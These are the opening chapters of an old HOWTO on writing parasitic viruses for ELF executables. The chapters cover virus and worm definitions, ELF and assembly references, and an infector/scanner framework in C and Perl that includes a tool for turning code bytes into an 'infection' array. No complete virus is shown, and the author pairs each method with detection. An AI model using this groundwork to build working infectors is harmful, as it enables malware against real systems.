The ELF Virus Writing HOWTO

Table of Contents

Table of Contents

1 The ELF Virus Writing HOWTO

1.1 Introduction

1.1.1 Alexander Bartolich

alexander.bartolich@gmx.at

Revision History

Revision If you don't care where you are, then you ain't lost.	2003-02-15
Systematic search for infection targets with scanner.	

This document describes how to write parasitic file viruses infecting ELF executables. Though it contains a lot of source code, no actual virus is included. Every mentioned infection method is accompanied with a practical guide to detection.

Viruses are not a threat to Linux! [1]

A quote from Rick's Rant on anti-virus software: [2]

The problem with answering this question is that those asking it know only OSes where viruses, trojan-horse programs, worms, nasty Java scripts, ActiveX controls with destructive payloads, and ordinary misbehaved applications are a constant threat to their computing. Therefore, they refuse to believe Linux could be different, no matter what they hear. And yet it is.

Table of Contents

1.1.2 Notes

[1] The first release of this document covered only Linux/i386. Among the platforms using ELF it is considered the most viable for virus spread.

[2] http://linuxmafia.com/~rick/faq/#virus

Next
Introduction

The ELF Virus Writing HOWTO: Introduction

Prev Next

2 1. Introduction

The function of the expert is not to be more right than other people, but to be wrong for more sophisticated reasons.

Dr. David Butler, British psephologist

Writing a program that inserts code into another program file is one thing. Writing that program so that it can be injected itself is a very different art. Although this document shows a lot of code and technique, it is far from being a "Construction Kit For Dummies". You can't build a working virus just by copying whole lines from this text. Instead I'll try to show how things work. Translation of infecting code to a assembly is left as (non-trivial) exercise to the reader.

An astonishing number of people think that viruses require secret black magic. Here you will find simple code that patches other executables. It is not hard to write a virus - once you have a good understanding of assembler, compiler, linker and operating system. [1] It's just hard to let it make any impact.

Regular users can't overwrite system files (at least under serious operating systems). So you need root permissions. You can either trick the super user to run your virus. Or combine it with a root-exploit. But since all popular distributions come with checksum mechanisms, a single command can detect any modification. Unless you implement kernel-level stealth functionality…

I do believe that free software is superior, at least in regard to security. And I strongly oppose the argument that Linux viruses will flourish once it reaches a critical mass of popularity. On the contrary I question the credibility of people whose income relies on widespread use of ridiculously insecure operating systems.

This document is my way to fight the FUD. [2] Use the information presented here in any way you like. I bet that Linux will only grow stronger. [3]

2.1 1.1. What exactly is a virus?

The plural of virus is neither *viri* nor *virii*, nor even *vira* nor *virora*. It is quite simply viruses, irrespective of context. [4]

The jargon files contain a good definition. For my purposes it is not technical enough, though.

- A virus [5] is a program that infects other programs stored in inactive form. This document concentrates on copying the executable code of the virus into another file. Other possible targets are boot sectors and programmable ROMs.
- A worm [6] is a program that penetrates other running programs. Penetration means to copy the executable code of the worm into the active process image of the host.
- A trojan program [7] is deliberately started by a user because of advertised features, but performs covert malicious actions.

The jargon files include programs infected by a virus into their definition of trojan. I don't consider this helpful. The survival strategy of viruses is to stay below the level of perception of humans, operating systems or scanners. But trojans don't hide. They obfuscate their real intend by delivering a good show. Good advertising can persuade the user to install necessary system components, deactivate security checks, and throw overboard all common sense.

The jargon files also claim that "a virus cannot infect other computers without assistance". Widespread use of write-enabled network shares has made this a bold statement. It is correct that patching an executable file over the net is meaningless if that program is not executed somewhere. But I want to stress that it's not the media containing the target that distinguishes worms from viruses. A virus polluting a RAM-disk is still a virus. A worm saved to disk by the hibernation feature of a laptop is still a worm.

2.2 1.2. Worm vs. virus

The main difference between worms and viruses is persistence and speed. Modifications to files are usually permanent and remain after reboot. On the other hand a virus attached to a host can get active only when that host program is started. A worm takes immediate control of a running process and thus can propagate very fast. [8] [9]

Usually these techniques are combined to effectively cause mischief. Viruses can get resident, i.e. attach themselves to a part of the system that runs independent of the infected executable. Worms can modify system files to leave permanent back doors. [10] And tricking the user into executing the very first infector is a lot easier than finding and exploiting [11] buffer overflows. [12]

But Unixes have traditional concepts to limit the possible damage of a malicious process. Network services can be run under the access permissions of a non-privileged account. File systems can be mounted read-only (e.g. `/usr`) or as `noexec` (e.g. `/home`). Some file systems have extended attributes that can prohibit access even when **ls `-l`** tells otherwise. [13] Probably the strongest defense is `chroot`.

>Every single one of these techniques can stop a vandalizing human, virus or worm to take over the entire machine. But while it is easy to control viruses, it is very hard to stop worms. To exploit a vulnerable network service a worm needs permissions for an incoming connection. To compromise the next machine on the network it needs an outgoing network connection. Nothing else.

2.3 1.3. Freedom is security

I will now put on a black hat and an evil grin. Using material already published on the net, contributions sent to me, and all documentation available, I will try to build a virus to do in ELF for good. All concepts, ideas and experiments - along with enough working code to prove my conclusions - will be released to public ridicule through this document.

Should the quest fail this may have a few reasons:

1. I am incompetent.
2. Nobody cared to sent in evidence for #1.
3. It already has been done, but They will prevent #2 to maintain #1.
4. Optimistic readers could think that the inevitable big mistake of developers and distributors will be released soon, but just isn't available right now.
5. Even more adventurous spectators might say that design, development model, or distribution concept make Linux immune against a direct attack.
6. This is just one of the meaningless episodes in the matrix.

Anyway, it is not a problem if we, or someone using this document, succeeds. The correct name for that situation is opportunity. Should you happen to take this document - and especially above agenda - too seriously, the story of "Osama bin virus" [14] can help.

This text written under influence of an evil grin.

2.4 1.4. Copyright & trademarks

This document, *The ELF Virus Writing HOWTO*, is copyrighted (c) 2002 by *Alexander Bartolich*.

2.5 1.5. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, the author does not take any responsibility.

All software is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

Who am I kidding? This is dangerous stuff! Stop reading immediately or risk lethal pollution of your systems!

You are strongly recommended to take a backup of your system before major installations and backups at regular intervals.

2.6 1.6. Credits

Everything in this document is either plain obvious or has been written by someone else long time ago. My meager contribution is nice formatting, reproducibility and the idea to take the subject to mainstream media. But I'm certainly not innovative.

To my knowledge, VLAD [15] magazine #7 [16] contains the oldest published virus infecting ELF executables on Linux/i386. Quantum (the author) called his creation Stoag. [17] It is written in raw assembler with few comments. I yet have to read the code.

Silvio Cesare <`silvio@big.net.au`> Founder of the trade. He used to have classic pieces at his site [18] but removed it for some unknown reason.

John Reiser <`jreiser@BitWagon.com`> Found one bug and two superfluous bytes in The language of evil[ABC]. Proved that I can't code a straight 23 byte "Hello World".

paddingx Contributed technical details and implementation for Additional code segments[ABC] and Doing it in C[ABC].

Rick Moen <`rick@linuxmafia.com`> Has a very inspiring site. [19] And I shamelessly quote him in the abstract.

SourceForge.net "The world's largest Open Source software development website" [20] . Their compile farm is dreams come true.

A lot of people helped me shape language and ethical position of this document (sorted by `perl`, blame Larry): Charles Curley, Dave Wreski, David Merrill, Gary Lawrence Murphy, Greg Ferguson, Harald Wagener, Ian Turner, Marinho Paiva Duarte, Martin Wheeler, QuickFox of kuro5hin, Steve Sanfratello.

2.7 1.7. Feedback

Feedback is most certainly welcome for this document. Please send your additions, comments, criticisms, flames and "contributions" to the following email address: <`alexander.bartolich@gmx.at`>

A few people sent me executables for that other operating system. I am very grateful for this kindness. But you should know that this document is about ELF only.

2.7.1 Notes

[1] This document also uses a lot shell scripts to automate things. "Rute User's Tutorial and Exposition" includes a fast introduction: http://rute.sourceforge.net/node23.html Excellent stuff is "Advanced Bash-Scripting Guide": http://en.tldp.org/LDP/abs/html/index.html

[2] http://www.catb.org/~esr/jargon/html/entry/FUD.html

[3] This is not a prediction on the future of FreeBSD and Solaris. I doubt that viruses will have much influence on their fate, though.

[4] http://www.perl.com/language/misc/virus.html

[5] http://www.catb.org/~esr/jargon/html/entry/virus.html

[6] http://www.catb.org/~esr/jargon/html/entry/worm.html

[7] http://www.catb.org/~esr/jargon/html/entry/Trojan-horse.html

[8] The most famous worm ever was coded by R. H. Morris. The story of "The Internet Worm of 1988" is at http://world.std.com/~franl/worm.html. Another batch of files is at ftp://coast.cs.purdue.edu/pub/doc/morris_worm.

[9] Does history repeat itself? http://online.securityfocus.com/archive/1/308306/2003-01-22/2003-01-28/0, http://www.techie.hopto.org/sqlworm.html and http://www.cs.berkeley.edu/~nweaver/sapphire/. There are speculations that this worm without serious payload was deliberately released to force worldwide application of the patch Microsoft released a full six months ago. http://www.heise.de/newsticker/foren/go.shtml?read=1&msg_id=2877978&forum_id=37780 (German)

[10] http://www.catb.org/~esr/jargon/html/entry/back-door.html

[11] http://www.catb.org/~esr/jargon/html/entry/exploit.html

[12] http://www.catb.org/~esr/jargon/html/entry/buffer-overflow.html

[13] On `ext2` file systems this is `chattr`. On FreeBSD there is `chflags`.

[14] http://vmyths.com/rant.cfm?id=410&page=4

[15] VLAD (Virus Laboratory And Distribution), a group originating in Australia, dissolved in 1996. See http://vx.netlux.org/dat/gv05.shtml

[16] http://vx.netlux.org/dat/zv03.shtml

[17] http://vx.netlux.org/bin_exotic.shtml#linux

[18] http://www.big.net.au/~silvio

[19] http://linuxmafia.com/~rick/

[20] http://www.sourceforge.net/

Prev Home Next
The ELF Virus Writing HOWTO Platforms

The ELF Virus Writing HOWTO: Introduction
Prev Next

3 2. Platforms

You cannot have a science without measurement.
R. W. Hamming

Building executables from C source code is a complex task. An innocent looking call of `gcc` will invoke a pre-processor, a multi-pass compiler, an assembler and finally a linker. Using all these tools to plant virus code into another executable makes the result either prohibitively large, or very dependent on the completeness of the target installation.

Real viruses approach the problem from the other end. They are aggressively optimized for code size and do only what's absolutely necessary. Basically they just copy one chunk of code and patch a few addresses at hard coded offsets.

However, this has drastic effects:

- Since we directly copy binary code, the virus is restricted to a particular hardware architecture.
- Code must be position independent.
- Code cannot use shared libraries; not even the C runtime library.
- We cannot allocate global variables in the data segment.

There are ways to circumvent these limitations. But they are complicated and make the virus more likely to fail.

3.1 2.1. Executable and linkable format

Another natural limitation of viruses is rigid dependency on the file format of target executables. These formats differ a lot. Even on the same hardware architecture and under the same operating system. Furthermore executable are not designed with post link-time modifications in mind. It's rare for a virus to support more than one infection method. This document is about the format used on recent versions of Linux, FreeBSD and Solaris. [1]

3.1.1 2.1.1. Documentation

This format is well documented. Some public resources:

Source code of Linux and FreeBSD. Admittedly not for the faint of heart. [2]
`/usr/include/elf.h` [3]
Portable Formats Specification, Version 1.1. [4]
Linux Standard Base Specification [5]
NetBSD ELF FAQ [6]
Creating Really Teensy ELF Executables for Linux [7]

A quote from the Portable Formats Specification:

> The Executable and Linking Format was originally developed and published by UNIX System Laboratories (USL) as part of the Application Binary Interface (ABI). The Tool Interface Standards committee (TIS) has selected the evolving ELF standard as a portable object file format that works on 32-bit Intel Architecture environments for a variety of operating systems.

Actually ELF covers object files (`.o`), shared libraries (`.so`) and executable files. The Linux kernel [8] is also a valid ELF file.

3.1.2 2.1.2. Viewers

`GNU binutils` provides two utilities to view ELF headers, `objdump` and `readelf`. [9] Functionality of both tools overlap, but I think the output of `readelf` is nicer. On Solaris the native tools for this purpose are called `dump` and `avdp`.

3.2 2.2. Assembly language documentation

ELF is used for a variety of both 32 bit and 64 bit architectures. Obviously you need to handle assembly language for each platform. A good starting point is "Linux Assembly" [10] and "Assembly Language Related Web Sites". [11]

3.2.1 2.2.1. alpha

Introduction to Alpha [12]
Alpha Assembly Language Guide [13]
Assembly Language Programmer's Guide [14]

3.2.2 2.2.2. i386

Assembly-HOWTO. [15] Description of tools and sites for Linux.
FAQ of comp.lang.asm.x86 [16]
"Robin Miyagi's Linux Programming" [17] features a tutorial and interesting links.
"Assembly resources" [18] covers advanced topics.
IA-32 Intel Architecture Software Developer's Manual [19]
"The Place on the Net to Learn Assembly Language Programming" [20]
The Art of Assembly Language. 32-bit Linux Edition Featuring HLA. [21]
X86 Architecture, low-level programming, freeware [22]
Dr. Dobb's Microprocessor Resources [23]
FreeBSD Assembly Language Tutorial [24]

3.2.3 2.2.3. sparc

SPARC Standards Documents Depository [25]
SPARC Assembly Language Reference Manual [26]
A Laboratory Manual for the SPARC [27]
SPARC technical links [28]

3.3 2.3. Assemblers and disassemblers

A debugger lets you see what is going on "inside" another program while it executes. `gdb` can also show a plain disassembly of the code, and can do so without executing a single instruction. This listing does not include a hex dump of opcodes, however. On the other hand pure disassemblers take shortcuts; they don't have a complete picture of the target executable.

`objdump` is part of `GNU binutils`. It is advertised as a means to display information from object files. But `objdump` can also work on executables. And it provides option `--disassemble`. Since it does not resolve function names in shared libraries it cannot fully replace `gdb`, though.

By default all GNU disassembly tools adhere to the syntax of the GNU assembler. Veterans of i386 programming consider this style repulsive, however. `gdb` provides statement `set disassembly-flavor intel` to lower the contrast. And `objdump` has option `-Mintel` for similar effect. Still I prefer `ndisasm` [29] on i386 and will use it where possible. This tool has absolutely no understanding of ELF (or any other file format). But for the scope of this document this is a feature. The calculations necessary to get at the interesting bytes are interesting themselves.

In this document input for assemblers (including `nasm`) is stored in `.S` files. Traditional `cc` treat that as "assembler code which must be preprocessed by `cpp`". This is required on platform alpha where symbolic names for registers are not part of the assembly language. Output of disassemblers ends up as `.asm`.

3.4 2.4. Be fertile and reproduce

The primary quality of this document is reproducibility. Every tiny bit of information should be proved by a working example. Since I don't trust myself all output files are rebuild for every release. All sections titled "Output" are real product of source code and shell scripts included in this document. Most numbers and calculations are processed by a `Perl` script parsing these output files.

The document itself is written in DocBook, [30] a XML document type definition. [31] Conversion to HTML is the last step of a Makefile that builds and runs all examples. However, this means that I can't provide one document comparing two platforms. Instead I set up everything for conditional compilation. I then build one consistent variation of the document on a single system.

You are now reading the platform independent part. The links below lead to actual examples, and the actual story of constantly improving technique. This part continues with general topics and larger chunks of source code. It is a bit like a huge appendix, since the platform parts frequently refer to chapters here.

3.5 2.5. i386-redhat8.0-linux

3.6 2.6. sparc-debian2.2-linux

3.7 2.7. sparc-sunos5.9

3.7.1 Notes

[1] All examples for Solaris use the value returned by uname(2) as system name, i.e. "SunOS". And the version numb
as told by marketing make little sense. See http://www.ocf.berkeley.edu/solaris/versions/

[2] A nice introduction for the uninitiated is http://www.tldp.org/LDP/tlk/kernel/processes.html#tth_sEc4.8

[3] Present on Linux (part of glibc), FreeBSD and SunOS.

[4]

Canonical Postscript document: ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz

A flat-text version: http://www.muppetlabs.com/~breadbox/software/ELF.txt

[5] http://www.linuxbase.org/spec/gLSB/gLSB/tocobjformat.html

[6] http://www.netbsd.org/Documentation/elf.html

[7] http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

[8] This means file `vmlinux`. `vmlinuz` is compressed and prefixed with a boot-sector. See

http://www.tldp.org/LDP/tlk/kernel/processes.html#tth_sEc4.8

[9] `readelf` is included only since version 2.10 of `GNU binutils` and is missing on old distributions like SuSE
This might be the reason that Silvio Cesare does not mention `readelf` anywhere in his classic works.

[10] http://linuxassembly.org/

[11] http://www2.dgsys.com/~raymoon/asmlinks.html

[12] http://www.cs.hut.fi/~cessu/compilers/alpha-intro.html

[13] http://www.cs.cmu.edu/afs/cs.cmu.edu/academic/class/15213-f98/doc/alpha-guide.pdf

[14] http://www.tru64unix.compaq.com/docs/base_doc/DOCUMENTATION/HTML/AA-PS31D-TET1_html/TITLE

[15] http://www.tldp.org/HOWTO/Assembly-HOWTO

[16] http://www2.dgsys.com/~raymoon/x86faqs.html

[17] http://www.geocities.com/SiliconValley/Ridge/2544/

[18] http://www.agner.org/assem/

[19] http://developer.intel.com/design/pentium4/manuals/245470.htm

[20] http://webster.cs.ucr.edu/index.html

[21] http://webster.cs.ucr.edu/Page_AoALinux/0_AoAHLA.html

[22] http://www.goosee.com/x86/

[23] http://www.x86.org/

[24] http://www.int80h.org

[25] http://www.sparc.com/standards.html

[26] http://docs.sun.com/?p=/doc/816-1681

[27] http://www.cs.unm.edu/~maccabe/classes/341/labman/labman.html

[28] http://www.users.qwest.net/~eballen1/sparc.tech.links.html

[29] http://sourceforge.net/projects/nasm/

[30] http://docbook.sourceforge.net

[31] http://xml.coverpages.org/general.html#overview

Prev Home Next
Introduction Scratch pad

The ELF Virus Writing HOWTO: Introduction

Prev Next

4 3. Scratch pad

"In order to make an apple pie from scratch, you must first create the universe."
Carl Sagan, Cosmos

This chapter is an incoherent collection of platform independent items that found no other place.

4.1 3.1. objdump_format.pl

Used at objdump -d[ABC].

Note that the strings `${TEVWH_ASM_COMMENT}` and `${TEVWH_ASM_RETURN}` are substituted by a `sed` script. `perl` never sees the "`${`". See Variables and packages[ABC] for details and actual values.

`TEVWH_ASM_RETURN` is a regular expression in `perl` syntax. Unfortunately plain `sed` on FreeBSD 4.7 has no "\|" or anything equivalent while option `-E` switches to modern regular expressions with incompatible syntax. The matter is further complicated by branch delay slots. On Sparc the instruction following a `ret` is executed while the jump is under way. A typical instruction to put there is `restore`. But triggering on that is not a clean solution.

Source: src/magic_elf/objdump_format.pl

```
#!/usr/bin/perl -sw

# Perl 5.005_03 (part of FreeBSD 4.7) does not have [:xdigit:]
$::start_address='[0-9a-fA-F]+' if (!defined($::start_address));

# skip to start address
my $log = '';
while(1)
{
  if (!($_ = <>)) { print $log; exit 0; }
  last if m/^\s*$::start_address:/;
  $log .= $_;
}
for(;;)
{
  s/\s+$//;
  my $comment = s/\s+(${TEVWH_ASM_COMMENT})\s*(.*)// ? "$1 $2" : '';

  my ( $addr, $hexdump, $asm ) = split(/ *\t/);
  last if (!defined($asm)); # also catches the "..."-lines
  my $line = sprintf("%-11s %-19s ", $addr, $hexdump);
  $asm = sprintf('%-7s %s', $1, $2) if ($asm =~ m/^(\S+)\s+(.*)/);
  $line = sprintf("%-11s %-19s %s", $addr, $hexdump, $asm);

  $line = sprintf("%-s59 %s", $line, $comment) if (length($comment) > 0);
  print $line . "\n";

  last if ($asm =~ m/\b${TEVWH_ASM_RETURN}\b/);
  last if (!($_ = <>));
}
```

4.2 3.2. gdb_format.pl

Used at GDB to the rescue[ABC] and The entry point[ABC].

Source: src/magic_elf/gdb_format.pl

```
#!/usr/bin/perl -nw
if (m/([^:]+):\s+(\S+)\s+(.*)/)
{
  # %-30s to cover "0x804c1c0 <__libc_write+32>:"
  printf "%-30s%-13s ", $1 . ':', $2;
  my $opcode = $2;
  my $rest = $3;
  if ($rest =~ s/\s+${TEVWH_ASM_COMMENT}\s*(.*)//)
    { printf "%-20s${TEVWH_ASM_COMMENT} %s\n", $rest, $1; }
  else
    { print $rest . "\n"; }

  exit(0) if ($opcode =~ m/${TEVWH_ASM_RETURN}/);
}
```

4.3 3.3. Offset of e_entry

Output is at Offset of e_entry[ABC]. Variables prefixed with TEVWH_[ABC] might also be interesting.

Source: src/evil_magic/ofs_entry.c

```
#include <stddef.h>
#include <stdio.h>
#include <elf.h>

#include <config.h>

/* necessary to dereference TEVWH_ELF_xxx */
#define QUOTE(n)        #n

#define SIZEOF_TYPE(type) \
   printf("sizeof_" QUOTE(type) "=%lu\n", (unsigned long)sizeof(type))
#define OFFSETOF(struct, member) \
  printf("offset_" QUOTE(member) "=%lu\n", \
    (unsigned long)offsetof(struct, member))
#define SIZEOF_MEMBER(struct, member) \
   printf("sizeof_" QUOTE(member) "=%lu\n", \
     (unsigned long)sizeof(((struct*)0)->e_entry))

int main()
{
  SIZEOF_TYPE(int);
  SIZEOF_TYPE(long);
  SIZEOF_TYPE(size_t);
  SIZEOF_TYPE(TEVWH_ELF_EHDR);
  SIZEOF_TYPE(TEVWH_ELF_SHDR);
  SIZEOF_TYPE(TEVWH_ELF_PHDR);
  OFFSETOF(TEVWH_ELF_EHDR, e_entry);
  SIZEOF_MEMBER(TEVWH_ELF_EHDR, e_entry);
  OFFSETOF(TEVWH_ELF_EHDR, e_phoff);
  SIZEOF_MEMBER(TEVWH_ELF_EHDR, e_phoff);
  return 0;
}
```

4.4 3.4. Extracting e_entry

Described at Extracting e_entry[ABC], used at The entry point[ABC].

Source: src/evil_magic/e_entry.c

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
```

```
#include <elf.h>

#include <config.h>

int main(int argc, char** argv)
{
  const char* p;
  TEVWH_ELF_EHDR ehdr;

  while(0 != (p = *++argv))
  {
    int fd = open(p, O_RDONLY);
    if (fd != -1 && sizeof(ehdr) == read(fd, &ehdr, sizeof(ehdr)))
    { /* print both entry point and offset */
      /* lower case is required to match with objdump's disassembly */
      printf("%lx %lu\n", ehdr.e_entry, ehdr.e_entry - TEVWH_ELF_BASE);
    }
  }
  return 0;
}
```

4.5 3.5. Dressing up binary code

Used at Devil in disguise[ABC] to convert binary files into valid C code, i.e. the definition of a byte array. This started as small filter written in `perl`, but now it has a lot of features. We need to process the output of both `ndisasm` and `objdump`, on multiple platforms. Examples for valid input (i386, sparc, alpha):

```
08048080  6A04              push byte +0x4
10074:  82 10 20 04     mov     4, %g1
1200000b0:      02 00 bb 27     ldah    gp,2(t12)
```

The `__attribute__` clause is explained in A section called .text[ABC].

Initializing the array with string literals (looking like `\xDE\xAD\xBE\xEF`) is easier. The terminating zero would not work with Doing it in C[ABC], however. But then using a list of hexadecimal numbers introduces separating comas, requiring special treatment of the last line.

If command line option `-last_line_is_ofs` is passed to the program then the last line of disassembly is meant to specify a offset into the code. Actually it's just the last byte of that line. You are free to use any dummy operation, see the example input above. A real world example is at Infection #1[ABC]. The last instruction itself is not emitted to the byte array. Instead enum constant `ENTRY_POINT_OFS` is defined.

Source: src/platform/disasm.pl

```
#!/usr/bin/perl -sw
use strict;

my $LINE = "  %-30s /* %-32s */\n";

$::identifier = 'main' if (!defined($::identifier));
$::size = '' if (!defined($::size));
$::align = '8' if (!defined($::align));
$::section = '.text' if (!defined($::section));

printf "const unsigned char %s[%s]\n", $::identifier, $::size;
print "__attribute__ (( aligned($::align), section(\"$::section\") )) =\n";
print "{\n";

my $code_size = 0;
my @line;
while(<>)
{
  s/^\s+//;             # trim leading white space
  s/\s+$//;              # trim trailing white space
  s/\s+[!;].*//;         # trim trailing comments

  my $addr = (split(/[:\s]+/))[0];
  s/[A-Fa-f0-9]+:?\s+//;

  my @code = split(/\s\s+/);
  my $code = $code[0];
  $code =~ s/\s//g;      # make objdump look like ndisasm

  $code_size += length($code) / 2;
  my $dump = '0x' . substr($code, 0, 2);
  for(my $i = 2; $i < length($code); $i += 2)
  {
    $dump .= ',0x' . substr($code, $i, 2);
  }
  push @line, [ $addr . ': ' . join(' ', @code[1..$#code]), $code, $dump ]
}

my $nr = 0;
my $max = $#line;
$max -= 1 if (defined($::last_line_is_ofs));
while($nr < $max)
{
  printf $LINE, $line[$nr][2] . ',', $line[$nr][0];
  $nr++;
}
printf $LINE, $line[$nr][2], $line[$nr][0];
printf "}; /* %d bytes (%#x) */\n", $code_size, $code_size;
if (defined($::last_line_is_ofs))
{
  my $ofs = substr($line[$nr + 1][1], -2, 2);
  printf "enum { ENTRY_POINT_OFS = 0x%x };\n", hex($ofs);
}
```

4.6 3.6. Self modifying code

This is the platform independent part of Self modifying code[ABC].

Source: src/evil_magic/self_modify.c

```
#include <setjmp.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include "func.inc"

typedef void (*PfnVoid)(void);

#define MEMCPY_TEST(where) \
        memcpy(in_##where, in_code, sizeof(in_code)); \
        test(#where, (PfnVoid)in_##where)

static jmp_buf env;
static int received_sigill = 0;
static void on_sigill(int sig)
{
  printf(" on_sigill=%d ", sig);
  received_sigill = 1;
  longjmp(env, 1);
}
```

```
static void test(const char* name, PfnVoid code)
{
  printf("%8p is %s ... ", code, name);
  fflush(stdout);
  received_sigill = 0;
  if (0 == setjmp(env))
  {
    signal(SIGILL, on_sigill);
    code();
  }
  printf(" sigill=%d\n", received_sigill);
}

static char in_data[sizeof(in_code)];

int main()
{
  char* in_heap = malloc(sizeof(in_code));
  char in_stack[sizeof(in_code)];

  test("code", (PfnVoid)in_code);
  MEMCPY_TEST(data);
  MEMCPY_TEST(heap);
  MEMCPY_TEST(stack);
  return 0;
}
```

Prev Home Next
Platforms Dual use technology

The ELF Virus Writing HOWTO: Introduction

Prev Next

5 4. Dual use technology

Go not to the elves for counsel, for they will say
both yes and no.

J.R.R. Tolkien

This chapter introduces a framework for both scanners and first stage infectors, written in plain C. The code is split it into many parts that manipulate a central data structure. The idea is to replace some of these parts in later chapters to implement improvements and different infection methods. Here you will find only the most basic parts shared by all programs. One step closer to the edge continues with generic but ELF specific parts. Actual infection methods accompany their descriptions in separate chapters.

The code is not insertable itself. Doing it in C[ABC] describes what would be necessary. In the meantime the infectors insert and activate one chunk of code, an array of bytes prepared by Dressing up binary code.

Parts are shown in random order and without any `#include` statements or prototypes. Identifiers prefixed with `TEVWH` are defined in generated file `config.h`. See Variables and packages[ABC]. If you need full details I can only recommend a look into the sources of this document. Mirrors shows where to get it.

This code really wants to be C++. Some hardware I'm working on is just too slow for big compilers, though. The heavy use of macros is a consequence of not using C++, not the reason.

5.1 4.1. print_errno

A simple replacement of perror(3). If the first argument is -1 instead of errno(3) the function works just like printf(3).

Source: src/one_step_closer/print_errno.inc

```
void print_errno(int error, const char* msg, ...)
{
  va_list va;

  if (error != -1)
    fprintf(stderr, "(%d) %s\n", error, strerror(error));
  va_start(va, msg);
  vfprintf(stderr, msg, va);
  va_end(va);
}
```

5.2 4.2. Conditional output

printf(3) is a great debugging tool. I use it similar to assert(3). A single pre-processor definition deactivates them all. Or rather groups of them. The conventional way to completely remove function calls through the pre-processor is to define a parameterized macro that evaluates to nothing. But then `printf` takes a variable number of arguments. Recent C99 standard provides a mechanism to handle this. The `gcc` extension for the same purpose is much older but different (pronounce as "incompatible").

Example: Macros with variable number of arguments

```
/* gcc extension */
#define eprintf(format, args...) fprintf(stderr, format , ## args)

/* new C99 standard */
#define eprintf(...)             fprintf(stderr, __VA_ARGS__)
```

I chose obscure syntax instead.

- A type name surrounded by brackets is a cast. Casting an expression to void discards the result. It is not even evaluated if the expression is free of side effects and the compiler is reasonably smart.
- A more common use of brackets is to surround an expression without changing its value.
- Commas are also used for a lot of things. One of the strangest is as a comma operator. It evaluates both expression to the left and to the right, returning the value of the right. >

Example:

```
printf("The answer is %d\n", 42);
(void)("The answer is %d\n", 42);
```

5.3 4.3. trace_infector.h

Source: src/one_step_closer/trace_infector.h

```
#define TRACE_ERROR     print_errno
#define TRACE_SCAN      (void)
#define TRACE_INFECT    print_errno
#define TRACE_DEBUG     (void)
```

5.4 4.4. trace_scanner.h

Source: src/one_step_closer/trace_scanner.h

```
#define TRACE_ERROR     print_errno
#define TRACE_SCAN      print_errno
#define TRACE_INFECT    (void)
#define TRACE_DEBUG     (void)
```

5.5 4.5. gcc-filter.pl

Using the comma operator to ignore code is rarely a desired behavior. For this reason `gcc` issues a special warning if either `-W` or `-Wall` is specified.

Superfluous gcc warning:

```
warning: left-hand operand of comma expression has no effect
```

I found no way to selectively switch this off. Instead the complete output of `gcc` is filtered with `perl`.

Source: src/one_step_closer/gcc-filter.pl

```
#!/usr/bin/perl -w

my $queue = '';
while (<>)
{
  $queue .= $_;

  next if (m/^In file included from /
  || m/^\s+from /
  || m/^\S+: In function /);

  if (m/: left-hand operand of comma expression has no effect$/)
  { $queue = ''; next; }

  print $queue; $queue = '';
}
```

5.6 4.6. cc.sh

This script is used to compile all infection examples. See Off we go[ABC].

Command: src/one_step_closer/cc.sh

```
#!/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
main=${4}

${TEVWH_PATH_CC} ${TEVWH_CFLAGS} \
        -I ./src/one_step_closer/${entry_addr} \
        -I ${TEVWH_OUT}/one_step_closer/${infection} \
        -o ${TEVWH_TMP}/${project}/${entry_addr}${infection}/infector \
        ${main} 2>&1 \
| ./src/one_step_closer/gcc-filter.pl \
| ${TEVWH_PATH_FMT} -s
```

5.7 4.7. target.h

This is the central data structure used by all examples based on this framework. Not all struct members are used by all programs, though. And obviously scanners have no use for a byte array called `infection`.

Source: src/one_step_closer/target.h

```
/* align up to multiple of 16, will take at most 15 bytes */
#define ALIGN_UP(n)      (((n) + 15) & ~15)

#define SELF             ((TEVWH_ELF_EHDR*)TEVWH_ELF_BASE)
#define SELF_PHDR        ((TEVWH_ELF_PHDR*)((char*)SELF + SELF->e_phoff))
#define SELF_SHDR        ((TEVWH_ELF_PHDR*)((char*)SELF + SELF->e_shoff))

typedef enum { false, true } bool;

/* the chunk of code to insert */
extern const unsigned char infection[];

typedef struct
{
  char src_file[PATH_MAX]; /* PATH_MAX is from limits.h */
  const char* clean_src; /* pointer into src_file */

  int fd_src; /* opened read-only */
  int fd_dst; /* opened write-only */

  off_t filesize;
  off_t aligned_filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; TEVWH_ELF_EHDR* ehdr; } image;

  /* pointer to first program header (in image) */
  TEVWH_ELF_PHDR* phdr;

  /* pointer to first program header of type LOAD (in image) */
  /* must not be null, and phdr_code[1] is the data segment */
  TEVWH_ELF_PHDR* phdr_code;

  /* pointer to program header of type DYNAMIC (in image, can be null) */
  TEVWH_ELF_PHDR* phdr_dynamic;
  /* pointer to program header of type NOTE (in image, can be null) */
  TEVWH_ELF_PHDR* phdr_note;

  /* offset to first byte after code segment (in file) */
  TEVWH_ELF_OFF end_of_cs;
  TEVWH_ELF_OFF aligned_end_of_cs;

  /* start of host code (in file) */
  TEVWH_ELF_OFF original_entry;
} Target;
```

5.8 4.8. check.h

None of these programs are ready for end-users. They are intended as a base for experiments and have a tendency to accumulate weird bugs. If everything is well, terse output is efficient. And when things get rough, exact details, including location in the source, are more important than nice presentation.

Macro `CHECK` evaluates an expression built from a relational operator and two operands. If this condition is false then a diagnostic message is written. The first argument of `CHECK` is prefixed with `TRACE_` to build the name of the function that actually writes the message. Expected effective values are either `print_errno` or `(void)`, just as defined by the `TRACE_` macros in trace_infector.h.

The message itself consists of four lines, all prefixed with "CHECK:". First comes the name of the target file. This relies on having a variable `t` point to a structure of type `Target`. This is followed by the source file and the line number of the `CHECK` statement that failed. The third line is the source code of the condition. And the fourth line shows the actual result of left and right operand, formatted both as `%ld` and `%#lx`. The operands are evaluated only once and then assigned to local variables of type `long` inside a separate block.

